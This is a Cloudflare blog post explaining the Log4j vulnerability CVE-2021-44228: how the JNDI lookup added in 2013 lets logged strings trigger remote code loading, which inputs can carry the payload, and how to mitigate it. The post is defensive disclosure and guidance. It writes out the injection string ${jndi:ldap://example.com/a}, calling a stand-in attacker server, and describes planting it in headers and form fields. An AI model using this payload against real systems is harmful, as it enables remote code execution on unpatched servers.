Inside the Log4j2 vulnerability (CVE-2021-44228)

In previous versions of this blog post slightly different mitigation techniques were recommended. The Apache Log4j project has updated their official guidance and we have updated this blog post in line with their recommendations

Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package Log4j was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called Remote Code Execution (RCE). Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock.

It is CVE-2021-44228 and affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.16.0.

In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. Details of actual attempted exploitation we are seeing blocked by our firewall service are in a separate blog post.

Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.

But, if you work for a company that is using Java-based software that uses Log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.

Implement one of the following mitigation techniques:  Java 8 (or later) users should upgrade to release 2.16.0. Java 7 users should upgrade to release 2.12.2.

Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

In 2013, in version 2.0-beta9, the Log4j package added the “JNDILookup plugin” in issue LOG4J2-313. To understand how that change creates a problem, it’s necessary to understand a little about JNDI: Java Naming and Directory Interface.

JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.

For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).

A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.

As the tutorial says “If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.

That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.

But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.

This happens because Log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.

LOG4J2-313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”

With a : present in the key, as in ${jndi:ldap://example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

So all an attacker has to do is find some input that gets logged and add something like  ${jndi:ldap://example.com/a}. This could be a common HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username that might also be logged.

This is likely very common in Java-based Internet facing software that uses Log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system.

For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

Or imagine a Java-based billing system that logs when the customer's first name is not found. A malicious user might create an order with a first name that contains the exploit, and it might take multiple hops (and a lot of time) to make it from the web server, via a customer database and into the billing system where it finally executes.

And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use Log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.

And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, roll-up, or archive process written in Java inadvertently logs the bad string. Hours or even days later.

Cloudflare rolled out protection for our customers using our Firewall in the form of rules that block the jndi Lookup in common locations in an HTTP request. This is detailed here. We have continued to refine these rules as attackers have modified their exploits and will continue to do so.